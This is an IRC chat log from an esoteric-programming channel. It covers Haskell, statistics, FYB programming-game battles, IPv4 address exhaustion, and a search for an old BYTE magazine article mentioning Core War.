01:55:37 <elliott> C++ programs that compile may fail less, but they're less maintainable than C programs. :p
01:55:50 <elliott> cherry pick is a _darcs_ thing
01:55:53 <kfr> Nah it's considerably easier
01:55:57 <elliott> git's implementation is still inferior after all these years
01:55:59 <kfr> I thought "cherry picking" was a general term
01:56:00 <pikhq> C++ doesn't even have decidable compilation.
01:56:03 <kfr> Not even bound to VCS
01:56:11 <elliott> it is, but darcs invented the VCS meaning
01:56:22 <Sgeo> elliott, inferior how
01:59:35 <Sgeo> Why does rebase exist? It seems like its only function is to prettify history
01:59:38 * Sgeo barfs
02:02:00 <elliott> oerjan: hm haskell question
02:02:48 <elliott> wait never mind. :)
02:02:49 <oerjan> O KAY
02:02:51 <oerjan> DAMN
02:03:08 <elliott> oerjan: i was going to ask whether redefining fix to do the | x' == x = x | otherwise = go f x' thing would work
02:03:10 <elliott> where x' == f x
02:03:14 <elliott> except not only would that require Eq
02:03:18 <elliott> but the first step would compare to undefined
02:03:22 <elliott> since fix takes no base value
02:03:35 <oerjan> you don't say
02:03:42 <elliott> oerjan: JUST BECAUSE I'M SLOW
02:03:55 <oerjan> :t iterate
02:04:03 <oerjan> eek no lambdabot
02:04:05 <elliott> i should actually write a program in ursala sometime :P
02:04:07 <elliott> oerjan: omg :(
02:04:09 <elliott> ask Cale what we did wrong
02:04:21 <elliott> oerjan: let's do it together, quick, to #haskell!
02:04:37 <oerjan> actually there's no lambdabot _anywhere_, so no need to panic on behalf of #esoteric
02:04:54 <elliott> phew.
02:05:10 <Sgeo> You all seriously ignored lambdabot's death
02:05:11 -!- elliott has quit (Quit: ell-"can now sleep soundly knowing that everyone's in trouble, not just us"-iott).
02:05:11 <Sgeo> ?
02:05:21 -!- elliott has joined.
02:05:26 <elliott> did you like my /quit message
02:05:28 <elliott> i think i might start doing more of those
02:05:34 -!- elliott has quit (Client Quit).
02:06:21 <kfr> lol
02:07:24 <oerjan> i did funny quit messages back when it was on vinyl
02:10:34 <Lymia> !fyb litterer http://lymia.x10.bz/evil.fyb
02:10:53 <EgoBot> Score for Lymia_litterer: 92.0
02:10:57 <quintopia> nice
02:11:01 <Lymia> Brute force.
02:11:01 <Lymia> :v
02:11:28 <quintopia> where is the scoreboard folder again?
02:12:24 <Lymia> http://codu.org/eso/fyb
02:12:39 <Lymia> The @@ pesudo op is so overpowered.
02:12:39 <Lymia> :
02:12:40 <Lymia> :v*
02:13:08 <Lymia> It's effect is to basicly set the instruction pointer to the current code pointer.
02:15:05 <Lymia> That program is basicly the FYB version of a CoreWars core clear.
02:18:00 <kfr> What are those crazy programming languages where the correctness of the code is part of defining the algorithm?
02:18:22 <kfr> I think I recall some three letter initialism one where quicksort is like 150+ lines
02:18:32 <kfr> It may be related to formal proof systems
02:20:11 <kfr> I should probably look into Agda/Coq and such at some point, too
02:20:15 <kfr> Learn about dependent typs
02:20:17 <kfr> types*
02:20:32 <nddrylliog> hahahaha :)
02:20:35 <nddrylliog> speak of the devil.
02:21:00 <nddrylliog> kfr, I was discussing that with elliott a few minutes ago.
02:22:38 <quintopia> contracts are supposed to do that
02:23:45 <quintopia> Lymia: why doesn't litterer beat evil?
02:23:50 <Lymia> Dunno.
02:24:21 <Lymia> I'm not sure why evil beat so many things in the first place.
02:24:37 <Lymia> That big block of code is to get rid of every ! instruction in logicex-2
02:25:18 <Lymia> It's actual attack is literally nothing more than a quick scanner.
02:25:58 <Lymia> Hell, there's an ':' missing in it.
02:27:12 <quintopia> when you defect, it puts the data pointer at your own code pointer? and the defecting again puts it where?
02:30:04 <Lymia> When you defect, the data pointer is set to the code pointer.
02:30:21 <Lymia> If you defect twice, the effect is that the data pointer is set to the address of the second defect.
02:30:28 <Lymia> But stays in the same player's code.
02:30:48 <quintopia> huh
02:31:03 <quintopia> so it's like a free jump thing?
02:34:10 <Lymia> It's a much faster way than >>>>>>>>> to get to the middle of somebody's program.
02:39:09 <Sgeo> I'm taking a statistics course
02:39:35 <quintopia> has someone tried a vampire pit sort of thing? seems like it would be difficult to plant an effective +[] since [] are in the middle of the instruction set, but if you can jump ahead like that, you could probably do it
02:39:56 <kfr> What's a vampire pit?
02:40:00 <Sgeo> I don't see why it's sqrt(sum([x-mean]^2)/n) and not sum(|[x-mean]|)/n
02:40:09 <Sgeo> I see that they get different answers
02:40:17 <Sgeo> But why the first is used instead of the second?
02:40:42 <kfr> Hmm
02:41:10 <kfr> It might show different behaviour in cases of single unusually deviant values
02:41:15 <hagb4rd> do you think it's a good idea to avoid duplicate images by comparing the mc5hash strings of their binary data?
02:41:17 <quintopia> kfr: basically getting the other program trapped in a loop doing what you want. for a large enough memory buffer, +[:+[];] would kill.
02:41:17 <kfr> I imagine it's something like that
02:41:25 <quintopia> uh
02:41:27 <quintopia> dumb
02:41:37 <quintopia> +[:[];]
02:41:43 <kfr> quintopia what language is that?
02:42:00 <quintopia> kfr: FYB
02:42:00 <nddrylliog> kfr, http://codu.org/eso/fyb
02:42:12 -!- SimonRC has quit (Ping timeout: 265 seconds).
02:42:13 <hagb4rd> <hagb4rd>do you think it's a good idea to avoid duplicate images by comparing the mc5hash strings of their binary data? <-- or have better ideas/solutions
02:42:14 <kfr> Why do so many people in here obsess about that?
02:42:27 <nddrylliog> kfr, not sure, but it looks like fun
02:42:34 <quintopia> sgeo: because that is the definition of the L2-norm
02:42:41 <nddrylliog> hagb4rd, ask the tineye guys :)
02:42:55 <hagb4rd> is this a chan?
02:43:03 <nddrylliog> hagb4rd, nope, a website
02:43:08 <nddrylliog> http://www.tineye.com/
02:43:16 <Sgeo> quintopia, why?
02:43:22 <hagb4rd> hm, i thought you guys are the mathexperts here
02:43:25 <hagb4rd> :>
02:43:26 <kfr> Ah, I started using tineye a while ago
02:43:49 <kfr> hagb4rd: Mathematicians usually don't know crap about hashing and such
02:43:50 -!- SimonRC has joined.
02:44:07 <Lymia> !fyb litterer-2 http://lymia.x10.bz/evil.fyb
02:44:10 <EgoBot> Score for Lymia_litterer-2: 100.0
02:44:13 <Lymia> =D
02:44:35 <quintopia> oh, wait.
02:44:38 <quintopia> : only triggers once
02:44:41 <quintopia> duhhh
02:45:05 <Lymia> quintopia, every thread runs once every tick.
02:45:10 <Lymia> It's not like corewars in that respect.
02:45:26 <quintopia> Lymia: how did you beat your previous tries?
02:45:41 <Lymia> quintopia, pad it until it works.
02:45:43 <Lymia> ;V
02:46:38 <hagb4rd> i just need to avoid duplicate images.. tha hash-solution is not implicitly required, alternative ways are welcome! :>
02:46:55 <quintopia> sgeo: yeah, i can't figure out why they don't use the average distance from mean instead.
02:47:19 <quintopia> instead it's sqrt(variance)
02:47:37 <quintopia> maybe just cuz it's easier to work with
02:47:53 <quintopia> Sgeo:
02:47:54 <nddrylliog> huh
02:47:57 <quintopia> oh ya, that's it
02:48:04 <Sgeo> hm?
02:48:05 <nddrylliog> also because sqrt(x^2) is abs(x)
02:48:05 <nddrylliog> ..
02:48:05 <quintopia> it's because it's algebraically easier to work with
02:48:10 <quintopia> quote the wikipedia: It is algebraically simpler though practically less robust than the average absolute deviation.
02:48:31 <Sgeo> Huh.
02:48:34 <nddrylliog> ah right sorry I didn't read correctly the second definition.
02:50:27 <variable> quintopia,
02:50:46 <variable> http://www.johndcook.com/blog/2010/11/29/where-to-wait-for-an-elevator/ -> explains that in somewhat easy terms
02:50:56 <variable> if I understood correctly what you are looking to understand
02:51:36 <variable> hagb4rd, there are special algorithms that deal with dup. images / music
02:51:47 <hagb4rd> yea.. tell me more
02:51:47 <variable> they are cross format as well - sometimes
02:52:23 <hagb4rd> can you give me an example? or a name?
02:52:32 <hagb4rd> sth to look for?
02:52:51 <Lymia> Gregor, you may want to take a look at the FYB scoreboard.
02:52:52 <Lymia> ;)
02:53:15 <variable> hagb4rd, yeah - hang on a sec
02:53:25 * variable was reading a paper recently - let me find it
02:53:41 <hagb4rd> take your time droog
02:53:58 <hagb4rd> and thanks ;)
02:54:00 <kfr> I am actually somewhat interested in program vs. program stuff but in more complicated environments really, like real time strategy stuff
02:54:02 <variable> droo ?
02:54:10 <kfr> Corewars and such are too dry for my taste
02:54:11 <hagb4rd> nadsat variable
02:54:17 <hagb4rd> clockwork orange?
02:54:42 <hagb4rd> i will build a nadsat compiler someday :P
02:55:37 <kfr> I recently read A Clockwork Orange
02:55:38 <hagb4rd> http://en.wikipedia.org/wiki/Nadsat
02:56:36 <variable> hagb4rd, the general term is image similarity its the type of algo Tineye uses. I was reading about something called WALRUS recently
02:57:04 <hagb4rd> ok.. i will look for it.. thank you var :)
03:00:32 <quintopia> kfr: good book. it's just like to movie too :)
03:12:47 <nddrylliog> ndd@naku:~/Dev/fe2/source$ ./parser
03:12:48 <nddrylliog> ((a | ((a % 2) = 0) ) => (a # multiplesOfTwo))
03:13:19 <nddrylliog> now to do anything useful with that.. or rather, tomorrow.
04:05:50 -!- pikhq_ has joined.
04:06:09 -!- pikhq has quit (Ping timeout: 264 seconds).
04:09:47 -!- lambdabot has joined.
04:12:28 -!- Lymia__ has joined.
04:12:32 -!- Lymia has quit (Disconnected by services).
04:12:34 -!- Lymia__ has changed nick to Lymia.
04:12:36 -!- Lymia has quit (Changing host).
04:12:36 -!- Lymia has joined.
04:43:43 -!- azaq23 has joined.
04:53:07 -!- acetoline has joined.
05:03:48 -!- pikhq_ has changed nick to pikhq.
05:10:56 <oerjan> ^ul (^^^)((0)(!(1)(!(2)(!(3)(_)))))~*^
05:11:08 <oerjan> ^ul (^^^)((0)(!(1)(!(2)(!(3)(_)))))~*^!S
05:11:09 <fungot> 3
05:11:19 <oerjan> ^ul (^^^^)((0)(!(1)(!(2)(!(3)(_)))))~*^!S
05:11:19 <fungot> ...bad insn!
05:11:32 <oerjan> ^ul ()((0)(!(1)(!(2)(!(3)(_)))))~*^!S
05:11:32 <fungot> 0
05:11:36 <kfr> oerjan what language is taht?
05:11:42 <oerjan> underload
05:14:02 <oerjan> concatenative turing tarpit
05:17:28 <kfr> Sounds toxic
05:18:45 * Sgeo pours a little bf into kfr's drink
05:18:58 <oerjan> http://esolangs.org/wiki/Underload
05:19:40 <oerjan> ^ul (:aSS):aSS
05:19:40 <fungot> (:aSS):aSS
05:26:04 <kfr> I can't come up with anything creative
05:26:19 <kfr> Graph based programming languages are an old hat I bet
05:26:37 <oerjan> well we have Eodermdrome
05:26:52 <oerjan> and i recall there was another but i'm not sure if it's on the wiki
05:27:31 <oerjan> something based on kolmogorov machines iirc
05:29:19 <kfr> Haha that sounds exotic
05:29:58 <kfr> Or programming languages which are essentially based on replacing strings hmm
05:30:06 <kfr> Haha grammars hmm
05:30:09 <oerjan> well kolmogorov was russian
05:30:17 <kfr> I'm not talking about the name :p
05:30:21 <kfr> I've just never heard of it before
05:30:48 <oerjan> replacing strings, then you want to look at /// aka Slashes
05:31:18 * oerjan notes that he is only mentioning his own favorites
05:32:00 <oerjan> i didn't make any of the languages but i made several of the programs
05:32:37 <Lymia> !fyb crasher ::;;
05:33:18 <oerjan> oh also thue
05:33:38 <Lymia> I think I broke it.
05:33:40 <oerjan> (i didn't do anything in that but it's perhaps the oldest string-replacing esolang)
05:33:59 <oerjan> !echo hi
05:34:01 <EgoBot> hi
05:34:18 <oerjan> Lymia: EgoBot sometimes times out, especially the first time it's used in a while
05:34:30 <oerjan> same with HackEgo
05:34:32 <Lymia> !fyb nothing +[]
05:34:39 <Lymia> Really?
05:34:44 <oerjan> (they're both Gregor's bots)
05:35:11 <oerjan> well i wouldn't exactly _exclude_ bugs, either...
05:35:21 <pikhq> Okay, it's definitely "really fucking cold" out now.
05:35:25 <oerjan> !haskell print "hi"
05:35:27 <kfr> I remember, we had to implement division in a string replacement language
05:35:32 <EgoBot> "hi"
05:35:32 <kfr> At university
05:35:34 <kfr> It really sucked :[
05:35:40 <pikhq> Tomorrow, we are expecting a high of -5 °F (-20 °C).
05:35:46 <Lymia> kfr, Eh?
05:35:47 <oerjan> kfr: heh
05:36:30 <Lymia> ((:::::)+):* -> $1
05:36:34 <oerjan> kfr: i made /// print numbers once i think, that requires dividing by 10 at least
05:36:34 <Lymia> ::::: -> :
05:36:53 <Lymia> Still, doing it as part of a larger program sounds nasty.
05:37:50 <oerjan> Gregor seems to have been idle since yesterday
05:38:45 <kfr> Writing a self hosting compiler in that would be very challenging
05:40:07 <kfr> (yes, I have an obsession with self hosting compilers, to me a language is "serious business" as soon as that has been done)
05:41:31 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
05:42:12 -!- poiuy_qwert has joined.
05:42:20 <kfr> Actually I'm more interested in research languages, I think, not just bizarre/minimalist stuff
05:42:58 <pikhq> Eh, 'sokay. I think I last esolanged over a year ago.
05:44:11 <kfr> i.e. stuff you can actually use to solve practical problems, *gasp*
05:45:27 -!- hagb4rd has quit (Ping timeout: 240 seconds).
05:46:35 <oerjan> GET OUTTA HERE
05:46:53 <kfr> I figured the Haskeller would frown upon that :/
05:47:04 <oerjan> i'm the haskeller now?
05:47:08 <kfr> Yes.
05:47:36 <kfr> "The best programming languages have no compilers" - #haskell
05:47:56 <Sgeo> My favorite language is DWIM
05:48:01 <oerjan> ...that's rather strange to connect with haskell...
05:52:24 <EgoBot> Score for Lymia_nothing: 0.9
05:52:24 <EgoBot> Score for Lymia_crasher: 0.9
05:52:44 <oerjan> SOMEONE IS SLOW TODAY
05:52:57 <kfr> Sgeo: DWIM = ?
05:53:05 <Sgeo> Do What I Mean
05:53:23 <Sgeo> [Note: If someone used that abbreviation for something else, I don't know about it]
06:18:18 <kfr> I wonder how you would design a language which is tailored for writing operating systems while still providing a high degree of compile time correctness
06:19:42 <kfr> That must be a nightmare
06:24:54 <Sgeo> Doesn't ATS supposedly do that? Or am I utterly clueless?
06:25:23 <kfr> http://en.wikipedia.org/wiki/ATS_%28programming_language%29 :o
06:26:06 <kfr> That's interesting
06:26:06 <kfr> http://shootout.alioth.debian.org/u64q/which-programming-languages-are-fastest.php
06:26:11 <kfr> I remember it from these games
06:26:22 <kfr> It actually ranked third, after C++
06:26:26 <kfr> Very impressive
06:26:33 <kfr> And I had never even heard of it before
06:30:52 <pikhq> kfr: By now about half of us are Haskellers, I think.
06:31:21 <kfr> Yeah I'm slowly turning into a Haskelling language fascist, too
06:31:28 <kfr> My mate warned me about that
06:32:08 <Sgeo> ATS tutorial gives me a headache
06:32:13 <kfr> Haha
06:32:19 <Sgeo> Maybe I should look for an easier tutorial
06:32:29 <kfr> I have no idea what unboxed and boxed allocation are
06:33:45 <Sgeo> elliott is going to kill me.
06:35:10 -!- azaq23 has quit (Quit: Leaving.).
06:35:16 <oerjan> boxed = use a pointer to the representation, unboxed = embed the representation directly. approximately.
06:36:08 <oerjan> in haskell boxed also implies the possibility of a lazy thunk to be evaluated
06:36:40 <kfr> Ah, I see
06:37:27 <pikhq> Unboxed is essentially only there for optimisation purposes.
06:39:34 <copumpkin> yeah, and they treat it that way
06:39:37 <oerjan> also in haskell and some other languages, boxing means all values can be passed around in the same format, making polymorphic functions easier
06:39:43 <copumpkin> you never specify whether it's unboxed _within_ the language
06:39:47 <copumpkin> you specify whether it's strict or not
06:40:07 <copumpkin> the fact that that can be unboxed if it's monomorphic and matches some simple is another issue
06:40:10 <copumpkin> simple rules
06:40:35 <copumpkin> (I don't consider GHC pragmas to be part of the language :P)
06:46:07 -!- Zuu has quit (Read error: Connection reset by peer).
06:46:10 -!- Zuu_ has joined.
06:48:00 <kfr> Maybe I've been looking at this the wrong way
06:48:19 <kfr> Maybe it's not the core features of a language that make it attractive
06:48:41 <kfr> Maybe it's all about how you can have fun with it and visualisation and such
06:49:03 * kfr has some perverted notions of combining programming semantics and typesetting for visually pleasing rendering of code
06:49:44 <Ilari> Uh, oh... "APNIC expects normal allocations to continue for a further three to six months."
06:50:14 <kfr> Perhaps the notion of writing code in a regular plain text editor is archaic
06:52:48 -!- asiekierka has joined.
06:56:09 <pikhq> Ilari: Well, yes.
06:56:58 <Ilari> Six months from now is turn of July to August...
06:57:53 <Ilari> Current depletion estimate for APNIC is end of September...
07:00:13 <Ilari> What that says: Either APNIC has their own models that are a lot more pessimistic than the "official" ones, or they are acknowledging that the "official" models just can't model what's to come...
07:00:48 <kfr> Aren't the big IP block holders just going to gradually sell of theirs?
07:00:57 <kfr> And the people will buy it
07:02:41 <pikhq> kfr: Ooooh, that'll buy us another few months!
07:02:43 <pikhq> "Yay".
07:03:05 <kfr> pikhq there are at least 4-15 of /8s of which only fractions are really used afaik?
07:03:14 <kfr> Owned by universities in the US
07:03:17 <kfr> And AT&T and such?
07:03:36 <kfr> Some of them already started giving up some of the space
07:03:38 <pikhq> kfr: We chew through 2 of them a month.
07:03:43 <kfr> Ah, ok :p
07:04:24 * kfr already made sure that all the services on his servers are bound to IPv6 addresses, too
07:04:52 <kfr> So people can run Linux 0days using cutting edge technology
07:04:55 <kfr> :[
07:06:56 -!- poiuy_qwert has quit (Ping timeout: 265 seconds).
07:08:14 -!- poiuy_qwert has joined.
07:09:32 <Ilari> Okay, I expect IANA IPv4 pool to finally hit zero on the day after tomorrow.
07:20:43 <pikhq> Ilari: Do those models account for APNIC holding onto a single /8 for essentially emergency use?
07:21:01 <fizzie> Heh, so they also shut down that one remaining Egyptian ISP last night. They are being very unprecendententialious.
07:25:11 -!- Sgeo_ has joined.
07:26:56 <Ilari> They do.
07:28:02 -!- Sgeo has quit (Ping timeout: 240 seconds).
07:35:27 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
07:56:57 -!- MigoMipo has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:04:30 <Ilari> It is currently at 5x/8 all reserved (one /8 going to each RIR...)
08:09:13 <Ilari> (IANA IPv4 pool that is).
08:26:48 <Ilari> Heh... Now there are notices about "Significant Announcement" regarding IPv4 (3rd February, 1430Z)... Can it get any more obvious?
08:44:21 <fizzie> Maybe they'll do a surprise announcement and say that they're inverting all the bits in allocated network addresses?
08:44:40 <fizzie> You know, for long-term 0/1 balance reasons.
09:09:25 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
09:19:25 -!- MigoMipo has quit (Read error: Connection reset by peer).
09:36:05 <Ilari> Selling off has two bad sides: 1) Expensive, 2) DFZ routing table gets hit by a fragmentation grenade...
09:37:02 <kfr> Ilari: DFZ = ?
09:37:11 <Ilari> Default-Free Zone
09:37:45 <fizzie> (1) is only a bad side if you're the one doing the buying, not the selling.
09:37:48 <Ilari> That is, no default route.
09:38:30 <kfr> They're going to sell them for like $500-1000 per IPv4 in the end
09:38:36 <kfr> *per address
09:40:27 <Ilari> That would make a /16 cost somewhere between $30M to $70M... That's a lot.
09:40:32 <fizzie> Sell them on the black market, under the table. "Psst, hey, you there; wanna buy some good-quality uncut IPv4 subnets?"
09:41:04 <fizzie> "Don't buy your stuff from him; his /20s are actually non-contiguous /24s."
09:41:52 <Ilari> Well, buying form black market is risky. And I think most RIRs have policies allowing transfers...
09:43:12 <Ilari> At least ARIN definitely does.
09:43:45 <fizzie> "What a ripoff, the guy sold me a /16 from the 10.0.0.0/8 block!"
09:44:21 <Ilari> Well, this IPv4 exhaustion thing is going to be gigantic clusterfuck (to put it mildly)...
09:44:25 <kfr> fizzie: Hahaha
09:44:32 <kfr> Nice nerd fiction
09:46:08 -!- FireFly has joined.
09:48:35 -!- hagb4rd has joined.
09:53:43 -!- asiekierka has quit (Ping timeout: 240 seconds).
09:55:38 -!- BeholdMyGlory has joined.
10:01:50 <oerjan> ^ul (:a~*):a~*^^^SS
10:01:50 <fungot> (:a~*):a~* ...out of stack!
10:02:13 <oerjan> ^ul (:a~*):^^^^SS
10:02:13 <fungot> (:a~*):a~* ...out of stack!
10:05:08 <oerjan> ^ul (:a~*):^((~)~a*):*^SS
10:05:08 <fungot> ~(~((:a~*):a~*)) ...out of stack!
10:10:29 -!- oerjan has quit (Quit: leaving).
10:17:48 -!- evincar has joined.
10:18:09 <evincar> Hello all.
10:31:32 -!- impomatic has joined.
10:31:36 <impomatic> Hi :-)
10:31:39 <impomatic> Has anyone got access to issues of BYTE magazine 1978? :-)
10:32:09 <evincar> impomatic: Well, I haven't, and nobody else seems to be around at this hour.
10:32:38 <kfr> Why wouldn't they be :o
10:33:06 <kfr> It's the middle of the day for like 2 billion people
10:34:55 <evincar> kfr: Nobody greeted me. I was complaining. :P
10:35:05 <kfr> Greetings are so archaic
10:35:13 <kfr> Usually I intentionally ignore them online
10:35:41 <evincar> Eh, consider it a ping to see if anyone who knows me is active.
10:36:18 <fizzie> Our electronic journal search thingie lists "Dental Bytes", "FishBytes" and "Nutrition Bytes", but neither of those is probably going to be much help there.
10:37:25 <fizzie> The main library has physical copies of BYTE for 1976-1981 in their underground storage facility V, but that would mean walking several hundred metres and inconveniencing other people, so I'm going to go with "no".
10:37:50 <fizzie> What *is* in BYTE magazine in 1978, though?
10:39:36 -!- Lymia has quit (Read error: Connection reset by peer).
10:40:06 -!- Lymia has joined.
10:41:07 <impomatic> Fizzie: a reference to Core War 6 years before A. K. Dewdney "invented" it :-)
10:41:56 <impomatic> Some guy is scanning all the old issues of BYTE and putting them online, but he hasn't reached that one yet :-(
10:42:49 -!- Lymia has quit (Read error: Connection reset by peer).
10:43:16 -!- Lymia has joined.
10:51:58 <fizzie> Do you happen to know the exact issue and article in question? I couldn't quite google out complete tables of content, just rather random and partially incomplete ones.
10:55:22 -!- ais523 has joined.
10:59:17 <impomatic> Fizzie: I can't find an exact issue, just volume 3, pages 106-107. I've been Googling for a while, but there isn't a complete index online :-(
10:59:30 -!- FireFly has quit (Quit: swatted to death).
11:01:23 <ais523> quintopia: ooh, I like ETAS, I'll have to look at it in more detail when I'm less busy
11:03:24 <ais523> ah, the IPv4 allocation happened
11:03:29 <evincar> ais523: I've got another bigger-than-I-can-chew idea in the works since I last showed up here.
11:04:14 <ais523> hmm, what is it?
11:05:29 <evincar> A model of computation based on time, which generalises very well to highly parallel and (hopefully) quantum hardware.
11:07:05 <evincar> I haven't formalised it, but it's theoretically sound and possible to implement.
11:07:22 <evincar> Though once again I'm having difficulty figuring out how to actually do so.
11:09:00 <ais523> it sounds like that may end up giving you as much trouble as Feather gives me
11:09:32 <evincar> My natural reaction is "oh, just make a language", or "oh, just make an embedded DSL", but there's always the annoyance of trying to create a new semantic model while working within the constraints of the model of the host language.
11:09:49 <evincar> Refresh my memory about Feather.
11:10:10 <ais523> gah, don't make me!
11:10:19 <evincar> Elevator pitch, come on.
11:10:24 <ais523> I think there's a page on Esolang now that we can refer people to (http://esolangs.org/wiki/Feather)
11:10:47 <evincar> How...helpful.
11:11:01 <ais523> but basically, it's an esolang based around the command "retroactively change the value a variable had when it was created"
11:11:19 <evincar> Sounds interesting.
11:11:24 -!- BeholdMyGlory has quit (Remote host closed the connection).
11:11:30 <ais523> the concept's simple enough in a sense, but trying to get all the details in place without causing an infinite regress is tricky
11:11:36 <evincar> That's sort of how my idea works...though not exactly.
11:11:51 <ais523> nobody really understands Feather, not even me
11:11:58 <ais523> so it's not surprising that other people's ideas are never quite the same
11:12:14 <evincar> Basically you've got the absolute progression of time, and the state of the program is a pure function of the current moment in time.
11:12:36 <evincar> Events occur, and effects may result, and generate further events, ad whateverum.
11:13:02 <evincar> Effects are evaluated lazily, so nothing happens until something depends on it.
11:13:22 <evincar> Which keeps the language purely functional, and lets you start jumping around and forking the timeline however you please.
11:13:25 <ais523> ouch, that's confusing...
11:13:35 <ais523> but sounds like a perfect basis for an esolang
11:13:37 <evincar> It makes backtracking and parallel algorithms sexier than you can possibly imagine.
11:13:45 <evincar> It's actually quite useful...
11:14:08 <ais523> yep, it sounds it
11:14:13 <evincar> ...not to say that an esolang can't be useful, of course.
11:14:24 <ais523> they're better when they are, but that tends not to happen very often
11:14:37 <evincar> But there are some other really beautiful things about it.
11:14:41 <kfr> What's the significance of the lemons in the Esolangs logo?
11:14:54 <ais523> it sounds vaguely like my question to the supervisor "what happens if you take a mathematical idealisation of a programming language and ignore the restriction that it must respect causality?"
11:15:06 <ais523> kfr: they're actually limes, and I think it's just an image Graue grabbed at random
11:15:45 <evincar> That's basically what I'm working with. You don't have to respect causality or symmetry if the potential futures eventually collapse into a single state.
11:16:30 <evincar> Also, even if the effects of the program aren't reversible, the program itself is. You can pause, slow down, rewind, save and restore, and do basically whatever else you want to the running program.
11:17:00 <ais523> that's not that far from Feather at all, really; the difference is that your method is functional-style with respect to the timeline, whereas Feather is imperative-style
11:17:14 <Ilari> There is all sorts of fun with complexity classes. Such as R being impossible to construct explicitly...
11:17:18 <ais523> so you have a timeline that just happens and you lazily try to work out what it is, whereas Feather has an explicit mechanism for tinkering with time until the timeline says what you want
11:17:19 <evincar> Well, you can simulate an imperative style in this, it's just less efficient.
11:17:23 <ais523> indeed
11:17:33 <ais523> but I meant, sort of, meta-functional vs. meta-imperative
11:17:34 <evincar> Just say "effect: x is now 0".
11:17:43 <evincar> Right.
11:17:47 <ais523> it's hard to explain, because all the terminology required for time travel doesn't yet exist in English
11:17:51 <ais523> or probably any other language
11:18:32 <Ilari> Yeah, languages tend to have terminology for what's useful and not much terminology for things that are not useful...
11:18:54 <evincar> Ilari: indeed.
11:20:16 <evincar> ais523: The coolest thing is that you can optimise branch prediction in the event/effect graph based on the running program's experience of which events actually occur, biasing toward branches that depend on more probable events, so the performance of the program can actually increase over time.
11:20:38 <Ilari> And relative usefulness also shows in how fine the distinctions are... More useful things tend to have much finer distinctions between different kinds than less useful things...
11:21:21 <evincar> Ilari: which is why English has a lot of words for male versus female animals, groups of animals, and slang for being drunk.
11:21:37 <evincar> Ah, to live in simpler times. :/
11:22:16 <evincar> ais523: Funny story, though, you know how I figured all of this out?
11:22:29 <ais523> no, I'd have to guess and I'm quite bad at guessing
11:22:59 <evincar> Drank some sake and watched Primer.
11:23:08 <evincar> Suddenly it all made sense. :P
11:24:02 <evincar> And coincidentally, the fact that I had already been thinking about this problem let me understand the movie on the first time through, which I hear is a rarity.
11:24:25 <impomatic> fizzie: the best I can find is a tiny extract on Google books http://bit.ly/eQTjVv :-(
11:24:27 <Ilari> And useless things don't tend to have words at all... Like diabetes or heart disease for hunter-gatherer populations...
11:26:11 <evincar> Ilari: Never forget the power of circumlocution, though. If someone dies of complications from heart disease, and others are aware of this fact, then there will become a term for it.
11:26:39 <evincar> The need for a single-word term only arises if it's prevalent, though.
11:26:44 <Ilari> Nowadays heart attacks are common but they haven't always been: In 1920's, one could be cardiac doctor and manage to pass 6 years in practice without seeing even one heart attack...
11:29:14 <Ilari> At it wasn't just that people were dropping left and right of heart disease but death was attributed to something else... Heart disease was really rare.
11:30:06 <fizzie> impomatic: Found it.
11:30:29 <evincar> Oh, absolutely. We have the luxury of heart disease because we live in post-industrial luxury.
11:30:31 <fizzie> impomatic: It's not much more than that, really; it's a one-paragraph mention.
11:30:47 <evincar> If we all had to live by the sweat of our brow, then we'd all be healthier, hunter-gatherer, herder, and agriculturalist alike.
11:30:58 <fizzie> In the July 1978 issue (vol 3, num 7).
11:31:01 <evincar> Or fisher.
11:31:31 <fizzie> Pretty lucky that our library had it: the 1978 folder is inexplicably missing the Feb, Mar and Apr issues.
11:31:43 <fizzie> I'll photograph the article in question.
11:31:44 <Ilari> And lifespan doesn't explain the difference in heart disesase. Oh, and early agriculturalist populations were the unhealthiest populations ever seen...
11:31:49 <evincar> Those are really the four basic setups for a human society...shame that the non-agricultural ones have gone by the wayside.
11:31:57 <fizzie> Won't be a good-quality copy, but should be legible.
11:33:24 -!- Lymia has quit (Read error: Connection reset by peer).
11:33:49 -!- Lymia has joined.
11:33:53 <evincar> Actually, that's not entirely true. Agriculture has been around for just as long as the other lifestyles. Exclusively agriculturalist societies weren't particularly unhealthy either: the current consensus is that they arose gradually in response to climate change, and were perfectly stable and healthy societies, for the time anyway.
11:34:41 <evincar> It was the early *totalitarian* agriculturalists that were unhealthy, because they were expanding and populating faster than contemporary medicine could account for.
11:34:55 <Ilari> Knowledgeable archiologist can tell apart remains of argriculturalists and hunter-gatherers with one look at the skull...
11:36:30 <evincar> Oh, undoubtedly. But it's much easier to *find* the skulls of early expansionist agriculturalists than it is to find those of the non-expansionist ones.
11:39:28 <Ilari> Basically, the nutrient definencies, antinutrients and toxins totally fscked up the early agriculturalist people (later ones learned how to destroy the antinutrients and toxins)...
11:41:20 -!- sebbu has quit (Ping timeout: 265 seconds).
11:41:29 <evincar> Now, do I take a nap before class and risk missing it, or stay awake, not accomplishing a whole lot?
11:41:30 <Ilari> Even with the latter ones, one could see they still had problems as they were quite short...
11:42:05 -!- sebbu has joined.
11:43:03 <Ilari> Additionally, agriculture with grains really fscks up the environment...
11:43:20 <evincar> Well, human history isn't exactly filled with good nutrition. People have always eaten what's available, whether it's hunted, gathered, herded, fished, or grown. If you happen to get a balanced diet out of that, then hooray, you get to live.
11:44:06 <evincar> Yeah, early farming techniques sucked as well, because some knowledge was simply not available.
11:44:59 <evincar> Alright, I'm going to risk not making it to class by getting into bed. :P
11:45:17 <evincar> Because it's cold, and I have sleep transitions like a cat anyway.
11:45:36 -!- evincar has quit (Quit: Goodnight.).
11:46:16 -!- azaq23 has joined.
11:55:20 <fizzie> impomatic: http://users.ics.tkk.fi/htkallas/byte1.jpg http://users.ics.tkk.fi/htkallas/byte2.jpg contain the relevant parts. (For context, it's an article about what you could potentially do with this mysterious thing called a "modem".)
11:57:59 -!- impomatic has quit (Read error: Connection reset by peer).
11:59:02 -!- impomatic has joined.
11:59:23 <impomatic> Grrrr.... clicking links in Chatzilla always causes a crash :-(
12:02:47 <impomatic> Thanks Fizzie, that's exactly what I'm after. :-)
12:03:41 <fizzie> Nondeterministic polynomial, like they say. Walk to the library at least got me some fresh air, maybe I won't now fall asleep.
12:04:03 -!- acetoline has quit (Ping timeout: 272 seconds).
12:05:03 <impomatic> Did you notice which issue it's in?
